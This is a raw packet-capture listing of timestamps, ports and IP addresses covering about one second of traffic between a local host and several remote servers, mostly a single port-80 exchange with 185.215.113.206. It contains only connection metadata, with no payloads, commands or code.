Nov 28, 2024 02:27:45.346107960 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.346210003 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.346259117 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.347131968 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.347229958 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.347242117 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.347284079 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.348153114 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.348206997 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.348277092 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.348326921 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.349216938 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.349306107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.349344969 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.349381924 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.350238085 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.350305080 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.350346088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.350385904 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.351264000 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.351331949 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.351531982 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.351667881 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.352289915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.352356911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.352411985 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.352531910 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.353327036 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.353442907 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.353454113 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.353482008 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.354501963 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.354516029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.354545116 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.354564905 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.355391979 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.355458975 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.355593920 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.355729103 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.356488943 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.356539965 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.356564999 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.356592894 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.357454062 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.357501984 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.357532024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.357584000 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.364191055 CET	443	49882	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:45.366359949 CET	49882	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:45.366374969 CET	443	49882	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:45.366720915 CET	443	49882	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:45.367273092 CET	49882	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:45.367351055 CET	443	49882	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:45.417634010 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.417701960 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.417745113 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.417787075 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.418173075 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.418234110 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.418252945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.418286085 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.419210911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.419282913 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.419306040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.419342041 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.420217037 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.420267105 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.420308113 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.420341969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.421300888 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.421397924 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.421441078 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.422298908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.422343969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.422384977 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.422419071 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.423336983 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.423396111 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.423413992 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.423449039 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.424360037 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.424400091 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.424442053 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.424474001 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.425380945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.425429106 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.425474882 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.425508022 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.425846100 CET	49881	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:45.425860882 CET	443	49881	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:45.426423073 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.426537991 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.426549911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.426570892 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.427453995 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.427526951 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.427548885 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.427584887 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.428538084 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.428621054 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.428703070 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.428736925 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.429522038 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.429567099 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.429624081 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.429665089 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.430557966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.430615902 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.430655956 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.430692911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.431577921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.431634903 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.431687117 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.431720972 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.432615995 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.432660103 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.432714939 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.432915926 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.433657885 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.433718920 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.433763027 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.433801889 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.434695959 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.434756041 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.434791088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.434824944 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.435724020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.435779095 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.435817957 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.435856104 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.436778069 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.436837912 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.436882019 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.437098026 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.437794924 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.437851906 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.437900066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.438008070 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.438808918 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.438929081 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.438975096 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.439868927 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.439932108 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.439954042 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.439989090 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.440861940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.440923929 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.440984011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.441097975 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.441931963 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.441996098 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.442025900 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.442063093 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.442960978 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.443020105 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.443084002 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.443125010 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.443967104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.444031954 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.444067955 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.444104910 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.445010900 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.445080042 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.445115089 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.445173025 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.446054935 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.446104050 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.446193933 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.446245909 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.447079897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.447124958 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.447191954 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.447227955 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.448107004 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.448156118 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.448198080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.448234081 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.449158907 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.449203968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.449245930 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.449289083 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.450202942 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.450244904 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.450304985 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.450479984 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.451225996 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.451270103 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.451334953 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.451370001 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.452230930 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.452272892 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.452336073 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.452372074 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.453300953 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.453344107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.453388929 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.453428984 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.454324007 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.454365969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.469449997 CET	49882	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:45.542464972 CET	443	49879	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:45.542821884 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.542948961 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.542954922 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.542989969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.543097973 CET	49879	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:45.543107986 CET	443	49879	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:45.543338060 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.543406963 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.543436050 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.543473005 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.544362068 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.544398069 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.544470072 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.544507980 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.545439959 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.545486927 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.545525074 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.545561075 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.546315908 CET	49879	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:45.546322107 CET	443	49879	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:45.546443939 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.546565056 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.546606064 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.547472954 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.547518969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.547576904 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.547624111 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.548528910 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.548571110 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.548645973 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.548686981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.549542904 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.549592018 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.549626112 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.549881935 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.550589085 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.550635099 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.550705910 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.550749063 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.551629066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.551675081 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.551732063 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.551772118 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.552637100 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.552731991 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.552745104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.552789927 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.553682089 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.553807974 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.553864956 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.554693937 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.554758072 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.554821014 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.554863930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.555767059 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.555869102 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.555929899 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.556768894 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.556828976 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.556859970 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.556900978 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.557872057 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.557919025 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.557943106 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.557981968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.558845997 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.558901072 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.558902025 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.558940887 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.615118980 CET	443	49880	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:45.618817091 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.618926048 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.618997097 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.619318008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.619365931 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.619415998 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.619479895 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.620349884 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.620465040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.620521069 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.621381044 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.621429920 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.621489048 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.621551037 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.621567965 CET	49881	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:45.622410059 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.622534990 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.622592926 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.625925064 CET	49880	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:45.625941992 CET	443	49880	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:45.626408100 CET	49880	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:45.626411915 CET	443	49880	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:45.721276045 CET	49894	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:45.721307993 CET	443	49894	23.209.72.35	192.168.2.6
Nov 28, 2024 02:27:45.721399069 CET	49894	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:45.729376078 CET	49895	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:45.729423046 CET	443	49895	23.209.72.35	192.168.2.6
Nov 28, 2024 02:27:45.729481936 CET	49895	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:45.730433941 CET	49894	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:45.730452061 CET	443	49894	23.209.72.35	192.168.2.6
Nov 28, 2024 02:27:45.731134892 CET	49895	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:45.731148958 CET	443	49895	23.209.72.35	192.168.2.6
Nov 28, 2024 02:27:45.757126093 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.881855011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.903043032 CET	443	49884	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:45.976238012 CET	49884	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:45.995321035 CET	443	49879	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:45.995393038 CET	443	49879	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:45.995464087 CET	49879	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.067065001 CET	443	49880	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.067135096 CET	443	49880	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.067231894 CET	49880	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.169796944 CET	49884	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.169836998 CET	443	49884	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.170339108 CET	49884	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.170345068 CET	443	49884	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.171300888 CET	49896	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:46.171353102 CET	443	49896	23.209.72.35	192.168.2.6
Nov 28, 2024 02:27:46.171442032 CET	49896	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:46.173120022 CET	49896	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:46.173130035 CET	443	49896	23.209.72.35	192.168.2.6
Nov 28, 2024 02:27:46.173528910 CET	49879	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.173547983 CET	443	49879	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.173559904 CET	49879	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.173564911 CET	443	49879	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.176868916 CET	49880	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.176898956 CET	443	49880	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.176911116 CET	49880	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.176917076 CET	443	49880	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.193984985 CET	49897	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.194026947 CET	443	49897	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.194267988 CET	49897	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.194453001 CET	49897	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.194468975 CET	443	49897	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.195393085 CET	49898	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.195417881 CET	443	49898	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.195509911 CET	49898	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.195663929 CET	49898	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.195681095 CET	443	49898	13.107.246.63	192.168.2.6
